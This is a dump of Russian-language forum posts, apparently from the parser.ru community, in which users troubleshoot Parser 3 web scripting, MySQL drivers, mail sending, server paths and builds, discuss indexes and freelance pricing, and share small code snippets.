P.S. я всё сказал что мог по этой теме.\
P.P.S. кстати как вариант \"на попробовать\": обновить парсер до версии 3.2.2 (придётся собрать). но надо быть готовым к проявлению несовместимостей и соотв. откату или правке xsl."
"63276","Все решилось! Всем спасибо!\
\
Для \"последующих поколений\" сообщу:\
\
У меня в конфиг. файле auto.p было написано\
\
$confdir[^file:dirname[$filespec]]\
\
Я поменял его на \
\
$confdir[/var/www/vhosts/juveliri-kubachi.ru/cgi-bin]\
\
то есть вручную указал путь. Закачал 32битный вариант файла libmysql.so рядом с parser3.cgi. И привел к следующему виду строчку\
\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/var/www/vhosts/juveliri-kubachi.ru/cgi-bin/libmysqlclient.so\
}]\
]\
\
Вроде работает. Получается х64 libparser3mysql.so пока не нужен.\
Для кого-то это наверное было очевидно ))))"
"63277","Буду, ага."
"63279","Помогите пожалуйста с форматным выводом даты через класс dtf.\
Формат работает. Дату хавает правильно. А вот локализацию постоянно делает по-умолчанию, то есть ri-locale.\
Облазил исходный код класса -- всё равно ничерта не понимаю, почему так. Хочу выводить в родительном падеже. Единственное, что помогает -- исправить в исходниках dtf переменную default на rr-locale. Но это же идиотизм, а не выход! (:\
Заранее спасибо."
"63281","Начало ^dtf:format[%d %h %Y в %R;$ConcertDay;$dtf:rr-locale]\
($ConcertDay -- объект класса date)\
Хотя я уже перепробовал кучу разных других вариантов."
"63282","внёс его полтора месяца назад во время очередного изменения name convention. возьмите исправленный класс."
"63283","Уф... Работает... (:\
Спасибо."
"63284","Всем здрасте! Данный вопрос уже как-то был озвучен Sanja v.2 на этом форуме (http://www.parser.ru/forum/?id=60253), но никакого ответа так и не последовало.\
Сейчас сам столкнулся с этой проблемой...\
Версия cms последняя от 2007-04-18.\
При первом же \"запуске\" выдается ошибка:\
________________________________________________________________\
В работе Parser произошла ошибка:\
compilation error: file c:/apache_swissknife/сѓр°р№с‚с‹/localhost05/html/xsl/ element import\
xsl:import : unable to load mod/news.xsl\
compilation error: file c:/apache_swissknife/сѓр°р№с‚с‹/localhost05/html/xsl/ element import\
xsl:import : unable to load com_template/layout.xsl\
\
Ошибку вызвал этот фрагмент:\
transform \
\
Ошибка произошла при работе с файлом:\
/classes/operators/xml.p, строка номер 6\
\
Что обычно приводит к ошибке «xml»?\
\
в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
src в файле /classes/operators/xml.p, строка 6 \
xmlTransformer в файле /classes/components/com_builder.p, строка 51 \
_cRazdel в файле /classes/components/com_builder.p, строка 51 \
buildPage в файле /index.html, строка 119 \
content в файле /auto.p, строка 65 \
jBody в файле /classes/common/sql.p, строка 76 \
connect в файле /classes/common/sql.p, строка 76 \
inc в файле /classes/common/sql.p, строка 76 \
server в файле /auto.p, строка 62\
____________________________________________________________\
\
Эта проблема может заключаться в этом /сѓр°р№с‚с‹/ в именах файлов? (эта папка по умолчанию в Apache Swissknife названа русскими буквами /Сайты/. Пробовал кстати переименовывать (абсолютно так же как упоминается здесь http://www.parser.ru/forum/?id=57505) -вообще Parser не запускается. Видно с тех пор в Ножике произошли более глубокие изменения)....\
Может кто с этим сталкивался?"
"63285","наверное в Swissknife недостаточно просто переименовать папочку. там-же пути наверняка ещё и в конфигах прописаны."
"63287","Естественно... Так и сделано. Программой Text Replacer во всех файлах, в том числе и конфигурационных, сделал соответствующие замены. Повторяюсь сделал так же как и здесь http://www.parser.ru/forum/?id=57505. В придачу потом все вручную просмотрел. Все пути нормально переименовались.\
Но проблема осталась..."
"63288","[quot]\
Но проблема осталась...\
[/quot]\
\
что за проблема? с xsl (1) или что не запускается парсер (2)?\
\
если первое, то возможно дело в том, что в Swissknife используется другая версия парсера (3.2.2 beta, с какими xsl библиотеками она собиралась я не знаю, но может есть какие несовместимости с текущей версией 3.2.1sp2). можете попробовать заменить в Swissknife .exe и xml библиотеки релизными версиями.\
\
если второе, то... длинный вариант: предлагаю подождать телепатов, когда они ментально узреют её и помогут вам. думаю можно даже в форум не заходить -- ментально-же они отрапортуют вам о решении. короткий вариант: читайте FAQ, почитаете -- приходите и нормально задавайте вопрос."
"63289","Все, спасибо, все решилось. Все решение действительно заключалось в переименовывании папки на латинницу...\
Ошибка закралась в символ \"c\", который на клаве совпадает с русским... Keybord Ninja (аналог PuntoSwitcherа) шальнул... И это происходило в течении нескольких дней несколько раз... Поррой чувствуешь себя идиотом :) Сейчас для приведения на форуме полного текста ошибки переделал еще раз все при всех выключенных лишних прогах и все заработало... \
Ninjу в аналы истории... :)"
"63290","Начал внедрять авторизацию, наткнулся на непонятную фигню с вспоминанием пароля. Начал проверять на примерных файлах (_auth_forgot.html) -- та же ерунда.\
После нажатия на кнопку \"Прислать пароль\" выдаётся ошибка \"При создании нового пароля возникли следующие проблемы: .\" То есть пустая. При этом поле status у объекта auth равен 0.\
Скажите пожалуйста, в чём подвох?"
"63292","Возник вопрос: как оценивать стоимость работ parser-программиста?\
\
Вариант 1: по объему/сложности проекта. Какие критерии?\
\
Вариант 2: по срокам. Сколько стоит час работы parser-программиста?\
\
Ведь уже есть, хоть и мизерный, но рынок таких услуг, может кто сталкивался?"
"63293","Сайту 100скeditov.ru требуется веб-программист\
\
Требования:\
Знание Parser 3, SQL (MySQL 4), XHTML, JavaScript, CSS.\
\
Обязательно уверенное знание XML/XSL.\
\
Желательно понимание принципов работы CGI, SISO, знание Apache\
(mod_rewrite), BSD/Linux OS-es, сопутствующих сайтостроению\
технологий, протоколов и спецификаций (FTP, HTTP, SSL и т.п.).\
\
писать на boriskru@mail.ru"
"63295","Зависит от опыта parser-программиста и от его уверенности в себе. Не может быть у всех одинаковая стоимость часа работы. Аналогия: студент сделает сайт за несколько тысяч рублей. Студия Лебедева сделает сайт в сотни раз дороже."
"63296","после этого:\
http://www.parser.ru/forum/?id=63000"
"63297","[1]\
	Как в ENGINE 4.1 Вы, Misha, собираетесь использовать предустановленные\
(но с возможностью изменения) служебные фразы?\
\
[2]\
	[quote]LINK_TO_OBJECT_TYPE_ID - тип ссылки на другой объект. бывают разные ссылки.[/quote]\
	Какие же бывают ссылки?"
"63298","1. вариантов море, например: обработчик достающий данные из блока/блоков (1), shared блоки (2), новый тип данных (3), обработчик достающий данные откуда-то ещё (файл, другая таблица, xml) (4). зависит от условий задачи и от того, как часто необходимо эти фразы менять и кто их будет менять. если их менять мне и делать это редко, то я выберу первое (обработчик из нескольких строк), если то-же но менять часто -- первое + третье, если \"секретарша\" -- четвёртое + отдельный административный механизм для неё.\
хотя очень может быть что я не понял что вы имели в виду под \"использованием предустановленных служебных фраз\".\
\
2. ссылка на объект, ссылка на данные, внутренний редирект."
"63299","Предустановленные служебные фразы -- это (в моем понимании) сообщения об ошибках, имя незарегистрированного пользователя (Гость, Посетитель, Визитер и т.д.) Если хранить в БД, то возникает small problem с языками. При первом старте у нас вообще нет языка (ID=0), а выводить-то уже надо информацию. Плюс еще если пользователь добавил несколько своих вариантов с (ID=1), но не заменил все, тогда нужно считать те, которые отсутствуют из таблицы с ID=0.\
\
ЗЫ. ID -- это LANGID"
"63300","я понял вас неверно. в такое трактовке мы вообще не делаем дополнительных телодвижений: у нас уже есть объекты (global data), блоки которых выводятся в результирующий xml при обращению к любому объекту. туда мы заносим все подобные вещи. также эти объекты хранят css/js файлы и ссылки на них (очевидно, что не абсолютные, а с @alias) ну и кучку других вещей, которые требуются на большинстве страниц.\
\
т.к. все это хранится в блоках, то действуют привязки к языкам, сайтам (через объект) и т.д.\
\
проблемы с языками не вижу. у нас есть возможность делать привязку к конкретному языку и \"ко всем языкам\" (это такой отдельный специальный язык, а не привязка к каждой записи в таблице lang). именно поэтому, если блок был привязан ко всем языкам, то при добавлении нового языка не приходится привязывать все блоки ещё к одному языку.\
\
P.S. это один из способов, но он не единственный."
"63301","Именно на выполнение этого, проваленного задания, и требуется программист."
"63302","Прекратил работать сайт. Програмиста который писал сайт нет. Помогите разобраться не безвозместно конечно."
"63303","ICQ 177897 :)"
"63305","У меня теперь тоже такое вылазит :( \
\
nconvert: error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory\
\
Вроде все права выставил, все на месте, не раз уже пользовался nconvert. Может для 64 бит есть другая версия?"
"63308","Вобщем, понятно, что ошибку выдаёт ^mail:send.\
Непонятно, что делать. Какой SMTP указывать в конфигурационном файле, если я отлаживаю сайт в Денвере? Читал недавний[url=\"http://www.parser.ru/forum/?id=63102\"]тред[/url] про sendmail, но честно говоря, ничего полезного не вынес. То ли надо ставить парсер в unsafe-mode, то ли указывать какой-то хитрый SMTP.\
Подскажите пожалуйста."
"63309","В целом полезно, но доклад можно было ужать раза в два. В прошлый раз было интереснее, имхо. Не уверен, что пойду в следующий."
"63310","Пытаюсь подключить nconvert с использованием нового класса Img.p \
Выдает такую ошибку\
\
create\
Script file '/cgi-bin/nconvert/nconvert' not found\
/var/www/vhosts/juveliri-kubachi.ru/httpdocs/classes/Img.p(45:10)\
\
Хотя файл этот на месте, я и 64битную версию ставил ему, и права 777 и 755 давал, все равно эта ошибка. Не видит он его. Ума не приложу, что не так?"
"63311","приведите \
- полный дисковый путь до скрипта\
- путь к вашему document root"
"63312","Модераторы, удалите, пожалуйста, подобные сообщения от владельцев этого сайта.\
\
Тем, кто решиться работать с этими заказчиками -- требуйте 100% предоплаты или убирайте большие логические куски до её получения :)"
"63313","/var/www/vhosts/juveliri-kubachi.ru/cgi-bin/nconvert/ - в этой папке лежит файл nconvert\
\
/var/www/vhosts/juveliri-kubachi.ru/httpdocs/ - корень"
"63314","[quote]также можно скачать её из портов, вот пример шагов по поиску библиотеки в портах в применении к freebsd[/quote]\
Порты в *bsd -- удобное хранилище, позволяющее в одну комаду администратора установить или удалить распостраняемое програмное обеспечения из исходных кодов.\
\
Для того, чтобы \"разыскать готовый драйвер\" необходим package (\"сборка\", скомпилированное приложения _только_ для вашей операционной системы). \
\
MySQL AB распостраняет подобные сборки для большинства платформ со своего сайта. Последние версии - http://dev.mysql.com/downloads/mysql/), далее необходимо лишь выбрать лишь версию СУБД свою \"платформу\"."
"63315","гики разошлись, пошли рисовать да доске запросы, выясняя будет ли в случае с IN использоваться индекс.\
Товарищ, утверждавщий, что индекс использоваться не будет, через две недели обещал сделать доклад и этот вопрос раскрыть в том числе.\
\
Доклад же, да, довольно затянутый и вялый.\
Но, тем не менее, информативный.\
Опыт практического применения ценен."
"63316","а вы пытаетесь обратиться _парсером_ к файлу:\
/cgi-bin/nconvert/nconvert\
\
что производит обращение к:\
/var/www/vhosts/juveliri-kubachi.ru/httpdocs/cgi-bin/nconvert/nconvert\
\
разница есть?\
почитайте в документации про парсерные пути и напишите правильный путь, который будет указывать на имеющийся у вас файл."
"63317","Обратитесь к http://_домен_/cgi-bin/nconvert/nconvert\
Посмотрите на лог-файл\
У вас более-менее правильно смещён document-root. К cgi-bin \"внутри\" необходимо обращаться как к \"../cgi-bin\""
"63320","Было выполнено в соответствии с ТЗ.\
А причины провала даже объяснены не были.\
Вообще ничего сказано не было — сплошной игнор."
"63326","Привет всем.\
Подскажите пожалуйста, какие в Парсере есть способы навешивания события на ссылку. \
Мне нужно чтобы при клике по ссылке записывалась cookie."
"63330","[code]function createCookie(name,value,days) {\
	if (days) {\
		var date = new Date();\
		date.setTime(date.getTime()+(days*24*60*60*1000));\
		var expires = \"; expires=\"+date.toGMTString();\
	}\
	else var expires = \"\";\
	document.cookie = name+\"=\"+value+expires+\"; path=/\";\
}[/code]"
"63331","Спасибо огромное! \
Лучше IDEA нет ничего )"
"63332","Но, как я понял, переход на метод только внутри одного документа?"
"63334","Использовал класс auth -- всё было хорошо. Для дальнейшего переопределения методов вывода форм (типа htmlFormLogon), решил определить дочерний класс -- MyAuth. Определил в нём конструктор:\
[code]@init[icookie_data;ilogon_data;params]\
^BASE:init[icookie_data;ilogon_data;params][/code]\
И начала вылезать ошибка: [b]Initialization failure. $.oSql or $.csql option MUST be specified.[/b]\
Вылезает она в auth.p в методе declareVars[], если передаваемый объект класса Sql не определён.\
Почему так? Почему с родным классом auth всё работает нормально?\
И самое идиотское: \
если в методе declareVars перед проверкой на определённость переданного объекта Sql ([code]^if(!def $oSql)[/code]) вставить, например, вот такой код:\
[code]^if(def $oSql){^throw[auth; oSql определён]}[/code],\
то будет выведено сообщение, что \"oSql определён\".\
А если ещё засунуть проверку на принадлежность классу, то окажется, что oSql -- это MySqlComp.\
Как переменная может быть и определена, и не определена одновременно?! И почему это может случиться при использовании дочернего класса от auth? Может я как-то неправильно наследую?\
Помогите пожалуйста разобраться! Крыша от таких раскопок просто едет."
"63335","[code]^BASE:init[$icookie_data;$ilogon_data;$params][/code]"
"63336","ААААААААА!!! Шайтан! Позор мне! А тебе спасибо! (: Огромное!\
\
А всё-таки, как может быть переменная и определена, и не определена одновременно? Это какая-то хитрость оператора def?"
"63337","учитывая, что вы забыли поставить '$' при передачи параметров, у меня нет уверенности, что вы правильно написали проверку.\
\
например вы запросто могли написать так:\
[code]\
^if(def oSql){^throw[auth; oSql определён]}\
[/code]\
\
в этом случае увидели бы этот throw, т.к. проверяли строку \"oSql\", которая определена, но никак не связана с $oSql."
"63340","Понимаю Ваш сарказм, но в проверке всё было чётко.\
Банально, заменил оригинальную конструкцию [code]^if(!def $oSql){\
	^throw[auth;Initialization failure. ^$.oSql or ^$.csql option MUST be specified.]\
}[/code], которая выдавала ошибку о неопределенности, на такую [code]^if(def $oSql){\
	^throw[auth;oSql is defined]\
}{\
	^throw[auth;Initialization failure. ^$.oSql or ^$.csql option MUST be specified.]\
}[/code] В итоге, выводилось сообщение \"oSql is defined\".\
Возможно, не имеет смысла рассуждать на тему этой странности при некорретных (для интерпретации) исходных данных."
"63342","вы неверно вызывали конструктор базового объекта, в результате в качестве params передавалась строка.\
\
в конструкторе, при передаче методу declareVars она превращалась в hash: \
[code]\
^self.declareVars[^hash::create[$params]]\
[/code]\
\
если из строки делать хеш, то получится пустой хеш.\
никакого MySqlComp там в принципе быть не может.\
\
похоже проверки вы делали ещё не тогда, когда неверно создавали объект.\
вам проще совпроизвести ситуацию, и если это действительно так (в чем я оооочень сильно сомневаюсь), предъявить bug.html"
"63350","Ну, вижу вы уже сами разобрались :) \
 \
Да, IDEA с этим плагином – лучшее, что я видел. Спасибо Jay'ю =)\
И главное – IDEA-то штука кроссплатформенная, там даже под винду версия есть, что очень удобно)"
"63351","[code]\
$men[^table::create{name	age \
Serge	1 \
Alex	2 \
Mishka	10 \
}] \
^men.sort{$men.age} \
[/code]\
\
Получается:\
[code]\
Serge\
Mishka\
Alex\
[/code]\
\
Как это исправить?\
\
[code]^таблица.sort(функция сортировки_по_числу)[/code]\
\
Понятно. Извиняюсь."
"63352","Спасибо :)\
Сделал через JS."
"63355","Здравствуйте. Воспользовался готовым примером обратной связи для своего сайта, но почему-то всегда вылетает ошибка в этом кусочке кода (т.е. выдается выделенное сообщение):\
[code]^try{\
send[$sTo;$sFrom]\
location[http://$env:SERVER_NAME/$request:uri^if(^request:uri.pos[?]>=0){&}{?}action=done]\
}{\
$exception.handled(1)\
[b]Сожалеем, но при отправке письма возникла неизвестная ошибка.[/b]\
}[/code]\
\
Мой хостер - bhost. В корневом auto.p у меня прописано:\
[code]\
@auto[]\
$connect_string[mysql://mylogin:mypass@mysql.bhost.ru/mydb]\
\
 $request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[windows-1251]\
]\
\
$MAIL[\
	$.SMTP[mail.buzexpert.ru]\
][/code]\
\
Может у меня руки кривые, но я не знаю в чем проблема. Помогите, пожалуйста!!!!"
"63356","http://www.parser.ru/forum/?id=63102\
\
Недавно сам решал такую проблему"
"63358","Опять же, может руки у меня кривые, но я уже все варианты перепробовал (ну, или практически все :-) ни чегошеньки. Результат один. Помогите!!!"
"63359","[code]^try{\
^send[$sTo;$sFrom]\
^location[http://$env:SERVER_NAME/$request:uri^if(^request:uri.pos[?]>=0){&}{?}action=done]\
}{\
$exception.handled(1)\
Сожалеем, но при отправке письма возникла неизвестная ошибка.\
}\
[/code]\
\
причем проверьте свои методы ^send[] и ^location[]"
"63360","Что у тебя указано в $MAIL[] в конфигурационном auto.p, что указанно в полях $sTo и $sFrom."
"63361","Задача:\
Есть план дома, на этом плане с помощью javasript редактора рисуются квартиры. На выходе: если помещение продано, то оно красится одним цветом, свободно - другим.\
\
Проблема.\
Заливка получается неоднородная. В заливке наблюдаются пропуски в виде прозрачных однопиксельных горизонтальных линий.\
\
Возможно ли от этого избавиться?"
"63364","[code]\
@main[]\
$iTest(1)\
$iTest(^getNext($iTest))\
$iTest(^getNext($iTest))\
$iTest(^getNext($iTest))\
Result: $iTest\
\
@getNext[i]\
^i.inc[]\
$result($i)\
[/code]"
"63365","но результат тот же!"
"63366","@auto[]\
$connect_string[mysql://mylogin:mypass@mysql.bhost.ru/mydb]\
\
 $request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[windows-1251]\
]\
\
$MAIL[\
	$.SMTP[mail.buzexpert.ru]\
]\
\
А поля $sTo и $sFrom для проверки убрал и подставил нормальные адреса вот сюда:\
[code]@send[sTo;sFrom][dtNow]\
$dtNow[^date::now[]]\
^mail:send[\
     [b]$.to[ToMail@mail.ru][/b]\
     [b]$.from[FromMail@mail.ru][/b]\
	$.charset[$response:charset]\
	$.subject[Обратная связь с сайта http://$env:SERVER_NAME/]\
	$.text[Пользователь: $form:name\
^if(def $form:email){E-mail: $form:email^#0A}Комментарий:\
$form:comment^#0A^#0AСообщение отправлено: ^dtNow.sql-string[]]\
	^if($form:attach is \"file\"){\
		$.file[$form:attach]\
	}\
]\
$result[]\
[/code]\
\
\
(т.е те, которые не из формы берутся, а существующие). Причем пробобовал по твоему совету [url=\"http://www.parser.ru/forum/?id=63163\"]вот так[/url]. Результат - 0! Кстати, я правильно понимаю: конфигурационный auto.p - это тот, который в корневом каталоге лежит?"
"63367","Скорее всего ошибка в том, что ты пытаешься отправить почту с чужой почты. Ты не можешь отправить почту с адреса frommail@mail.ru если этот адрес не размещен на твоем сервере. Т.е. это должна быть почта с твоего домена."
"63368","Или у Вашего конкретного провайдера так некорректно настроент MTA?"
"63369","Зато вот такой код работает:\
[code]\
@main[]\
$iTest(1)\
$iTest(^getNext($iTest))\
$iTest(^getNext($iTest))\
$iTest(^getNext($iTest))\
Result: $iTest\
\
@getNext[i][l]\
$l($i)\
^l.inc[]\
$result($l)\
[/code]"
"63370","Методы где всплыл этот (баг?) были посложней и запутанней, а поведение парсера в данном случае мне непонятно.\
\
а вот это к примеру вызовет превеселую рекурсию\
[code]\
@main[]\
$iTest(1)\
$iTest[^getNext($iTest)]\
\
\
@getNext[result]\
^result.inc[]\
[/code]"
"63371","^i.inc(1) и $i($i+1) работают по разному. первый метод пытается оперировать с _имеющеёся_ переменной, а не создавать новую и таким образом экономить время и память.\
\
почему вылез этот баг я не знаю.\
\
записал себе в todo, на досуге посмотрю."
"63373","У нас где-то есть 5.5. Можем собрать, если еще актуально."
"63374","Подскажите мне, плз, что это такое и с чем его едят. А то я совсем не въезжаю!!!"
"63375","\"конфигурационный\" auto.p - файл, который лежит (должен) в каталоге, где у вас лежит сам парсер.cgi.\
\
в нем задаются основные настройки. Подробности этих настроек неплохо описаны в документации - http://www.parser.ru/docs/lang/parserconfig.htm"
"63377","У меня стоит Gentoo amd64. Процессор Intel Core 2 Quad Q6600. Собрался Парсер без проблем с:\
[code]\
--build=x86_64-pc-linux-gnu --host=x86_64-pc-linux-gnu\
[/code]\
\
[code]\
Using built-in specs.\
Target: x86_64-pc-linux-gnu\
Configured with: /var/tmp/portage/sys-devel/gcc-4.1.2/work/gcc-4.1.2/configure --prefix=/usr --bindir=/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.2 --includedir=/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.2/include --datadir=/usr/share/gcc-data/x86_64-pc-linux-gnu/4.1.2 --mandir=/usr/share/gcc-data/x86_64-pc-linux-gnu/4.1.2/man --infodir=/usr/share/gcc-data/x86_64-pc-linux-gnu/4.1.2/info --with-gxx-include-dir=/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.2/include/g++-v4 --host=x86_64-pc-linux-gnu --build=x86_64-pc-linux-gnu --disable-altivec --enable-nls --without-included-gettext --with-system-zlib --disable-checking --disable-werror --enable-secureplt --disable-libunwind-exceptions --enable-multilib --disable-libmudflap --disable-libssp --disable-libgcj --enable-languages=c,c++ --enable-shared --enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu\
Thread model: posix\
gcc version 4.1.2 (Gentoo 4.1.2 p1.0.2)\
[/code]\
\
Может я что-то не понял? Или Парсер уже можно собирать под 64 битную платформу?"
"63388","куда его ложить у bhost'а. куда мне засунуть свой auto.p? И вдруг там уже есть чей-то конфигурационный файл? Или я может че-нить не так понял :-)\
На bhost'е не написано, в каком варианте у них установлен парсер:CGI скрипт, модуль к веб-серверу Apache или ISAPI расширение веб-сервера IIS. Поэто куда именно конфигурационный файл нужно положить и где что прописать я не знаю. Поделить, у кого опыт есть!"
"63391","Объясните мне пожалуйста, в какую директорию в установленном Денвере нужно устанавливать скаченный Parser(parser3_2_1_ru.exe (14.08.2006  2,1 МБ))?"
"63395","но вы при желании можете переопределить его методы, переменные к примеру в корневом auto.p вашего сайта. Строки коннекта к бд, пути к драйверу, методы обработки ошибок, пути к классам, лимиты и тд. Его структура не так уж и сложна."
"63400","Мы свои 5.X обновили до 6.2. Думал еще не все, а оказалось, что уже все. :(\
\
P.S. А вообще с libcompat парсер для 4.X с sql библиотекой для 4.X должен на FreeBSD 5.X нормально работать."
"63401","Я в договора включаю такие пункты, чтоб заказчик не забывал про меня...\
\
[b]Порядок сдачи и приёмки работ[/b]\
\
В случае мотивированного отказа Заказчика от приёмки работ сторонами составляется  двухсторонний акт с перечнем необходимых доработок и сроков их выполнения.\
\
Если в семидневный срок после сдачи работ Заказчику подписанный акт сдачи-приёмки работ или мотивированный отказ от приёмки не поступит от Заказчика Исполнителю, работа считается принятой и подлежащей оплате по оформленному Исполнителем акту сдачи-приёмки работ."
"63402","[code]^for[year](1;^getMaximumYears[]){\
    ^if($year == 34){\
      $result[\
Уважаемый Александр Петросян!\
С удовольствием поздравляю Вас с праздником дня варенья, \
более всего желаю вам успешной творческой самореализации \
\
и удовольствия от жизни :)\
      ]\
    }\
}[/code]"
"63403","Хочу в перспективе сделать из парсерскового cgi модуль fastcgi. Для этого собираю parser, а configure не может найти libgc Глянул в config.log а там:\
\
[code]configure:4120: gcc -o conftest -g -O2   conftest.c  -lgc >&5\
/usr/bin/ld: cannot find -lgc[/code]\
\
Набираю ldconfig -r, он мне:\
\
[code]83:-lgc.1 => /usr/local/lib/libgc.so.1[/code]\
\
Собираю libgc в каталоге $HOME/gc, потом запуская --with-static-gc=$HOME/gc, - все нормально. \
\
Для меня конечно не очень критично где расположена libgc, тем более если линковка статическая. Но все-таки непонятно, в чем тут может быть загвоздка. Но все-таки хочется собрать с динамической libgc в папке /usr/local/lib. Может кто-нибудь стречался с подобным?"
"63406","И если переопределять пути к драйверам, пути к классам и т.п., то делать это надо в корневом auto.p сайта в методе [code]@conf[filespec][/code]? (кстати, а что должно быть на месте \"[code]filespec[/code]\", если я понятия не имею, где лежит конфигурационный файл?) И если здесь задать SMTP-сервер, это будет работать?"
"63407","кроме самого редиректа, после отправки (метода ^send[$sTo;$sFrom]):\
[code]^Lib:location[$request:uri^if(^request:uri.pos[?]>=0){&}{?}action=done;$.bExternal(1)][/code]"
"63408","Либо добавьте параметр [quote]-L /usr/local/lib[/quote]\
Либо [quote]su\
ln -s /usr/local/lib/libgc.la /usr/lib\
ln -s /usr/local/lib/libgc.so /usr/lib[/quote]\
\
Действительно готовите fastCGI?"
"63409","[code]\
@getMaximumYears[]\
#$result(300)\
$result(150)\
[/code]"
"63410","мы обычно под конфигурационным файлом подразумеваем файл auto.p, расположенный рядом с исполняемым файлом парсера.\
\
если исполняемый файл вам не доступен (например парсер предустановлен на хостинге), то задать место расположения вашего конфигурационного файла вы можете с помощью директивы апача SetEnv (если модуль mod_env установлен, пример есть в документации)\
\
если при добавлении в ваш корневой auto.p метода @conf[] (даже пустого) показывается ошибка \"parser already configured\", значит уже был выполнен auto.p, содержащий конфигурационный метод.\
\
но наличие конфигурационного метода в общем случае не обязательно, т.к. большинство настроек вы можете задать в любом другом месте, главное чтобы задание параметров происходило до того, как будут использованы функции, на которые эти настройки влияют (т.е. кодировки надо задать до чтения данных из form, таблицу с sql драйверами и библиотеками определить до работы с sql и т.д).\
\
чтобы гарантированно определение важных настроек при невозможности тем или иным способом использовать конфигурационный auto.p происходило до их использования, и при этом сами настройки были вынесены отдельно, можно создать отдельный файл (например conf.p), в нем создать один метод @auto[], поместь в этот метод все настройки, которые изначально предполагалось поместить в конфигурационный метод и в корневом auto.p подключить этот файл с помощью @USE:\
[code]\
@USE\
conf.p\
# остальные необходимые вам классы подключайте после этого класса с настройками\
[/code]"
"63413","если Вы про HEAD\
только не совсем пока, вот некоторые грабли:\
\
http://www.parser.ru/forum/?id=61329"
"63416","исправьте и осмыслите очевидные! ошибки типа:\
\
[code]send[$sTo;$sFrom][/code]\
\
send здесь - это просто строка, вызов любого метода, в том числе метода send должен начинаться с ^.\
\
[b]найдите и закомментируйте все $exception.handled(1)  в вашем коде![/b]\
\
тогда ошибки у вас начнут записываться в лог-парсера и по ним можно будет проанализировать где [b]конкретно[/b] ошибка."
"63417","http://images.digvod.com/103/463/369/103463369.jpg"
"63420","например сам @auto[], @unhandled_exception[exception;stack] и метод, который будет ошибки выдавать нормальные (этот метод вызывается из @unhandled_exception)? Как быть в этом случае?"
"63424","А можно ли как нибудь из testFactory изменить параметры объекта который его вызвал?"
"63427","[code]\
mysql> explain select * from port where id in (100001,100003,3434234);\
+----+-------------+-------+-------+---------------+---------+---------+------+------+-------------+\
| id | select_type | table | type  | possible_keys | key     | key_len | ref  | rows | Extra       |\
+----+-------------+-------+-------+---------------+---------+---------+------+------+-------------+\
|  1 | SIMPLE      | port  | range | PRIMARY       | PRIMARY |       8 | NULL |    3 | Using where |\
+----+-------------+-------+-------+---------------+---------+---------+------+------+-------------+\
[/code]\
\
т.е. индекс используется, type=range (а не const), но это и понятно. \
фраза using where не вполне ясна, но сделать её для 3 записей = ерунда."
"63428","Ибо во всех проектах такого много, не раз проверял.\
Пришёл с конференции — перепроверил ещё раз: range.\
\
Однако, насколько я понял позицию товарища, он имел ввиду, что составной индекс по двум полям не будет использоваться для последующей сортировки в случае запроса:\
SELECT * FROM table WHERE id IN (1,2,3) ORDER BY sort_order\
\
Они двинули рассуждать, что если бы mysql распознавал и оптимизировал такие случаи, то можно было бы сделать индекс sort_order,id.\
Сначала прошла бы сортировка и уже по отсортированным данным можно было бы бежать и дёргать строки сверяясь с ключами в IN.\
Дескать, так было бы быстрее.\
\
Тут — не уверен, авторитетно заявить не могу тем паче.\
\
\
Потому, было бы интересно его послушать и понять, наконец, что он имеет ввиду под \"перекрывающим индексом\", если меня память не подводит."
"63429","[quot]\
SELECT * FROM table WHERE id IN (1,2,3) ORDER BY sort_order\
\
Они двинули рассуждать, что если бы mysql распознавал и оптимизировал такие случаи, то можно было бы сделать индекс sort_order,id.\
\
Сначала прошла бы сортировка и уже по отсортированным данным можно было бы бежать и дёргать строки сверяясь с ключами в IN.\
Дескать, так было бы быстрее.\
[/quot]\
\
жесть.\
если в таблице 2 млн записей, то было-бы быстрее сначала отсортировать [b]всё[/b], а потом отобрать бы из этого 3 записи по PK???!!!\
сильно сомневаюсь."
"63430","пересказывая идёю этого товарища.\
\
Может дождёмся конференции и всё расспросим, чего они там такого напридумали."
"63431","посмотрим"
"63432","а не как его значение.\
и действие ^выражение.inc()\
приводит к\
1) вычислению выражения\
2) получается временная переменная типа double\
3) мы эту временную переменную делаем inc\
4) доходит дело до выдачи result\
5) тут вычисление исходного выражения происходит [b]ещё раз[/b]\
\
один пример разобран здесь:\
http://www.parser.ru/docs/lang/params.htm\
\
\
другими словами:\
в метод приходит [i]ещё не вычисленное[/i] выражение, которое вычисляется столько раз, сколько происходит $обращение_к_параметру_метода\
\
тут два раза обратились, два раза посчиталось.\
\
код\
[code]\
$i($i+1)\
[/code]\
убивает самовычисляющееся выражение, лежащее там при вызове метода, и помещает туда рабоче-крестьянский double. который после inc идёт в result, все довольны.\
\
\
проиходящее — результат компромисса, на который я пошёл, проектируя передаваемые выражения.\
я пытался сделать и нашим и вашим и просто.\
\
эта шероховатость уже обсуждалась."
"63433","Коллеги,\
всем большое спасибо.\
Всех люблюнемогу!\
PAF"
"63434","но $caller"
"63435","результат - '1'\
\
я тоже написал что-то подобное, но потом посмотрел и понял что я что-то не до конца понимаю."
"63436","с $caller в данном случае легко запутаться, для самого созданного таким образом объекта, он будет ссылаться на конструктор(create) внутри себя, копать дальше - появятся у вас конструкции $caller.$caller.$caller.variable\
\
я дал бы такой совет, хотите что то изменять в объекте - передавайте весь объект в кач-ве параметра, меньше путаницы в будущем отгребете. Чтобы изнутри объекта передать ссылку на этот же объект покопайте $self.\
\
[code]\
где то в объекте\
$_oDependentObject[^MAIN:hClassFactory.$sClassName.factoryCreate[\
  $.параметр1[]\
  ...\
  $.параметрX[]\
  ...\
  $.oParent[$self]\
]]\
[/code]"
"63437","спасибо, что хватает сил на такое дело. и что стараетесь для нас."
"63438","Еще вариант после определенного метода считать новые параметры из объекта"
"63439","Парсер и SQL драйвер взяты с http://www.parser.ru/download/redhat/.\
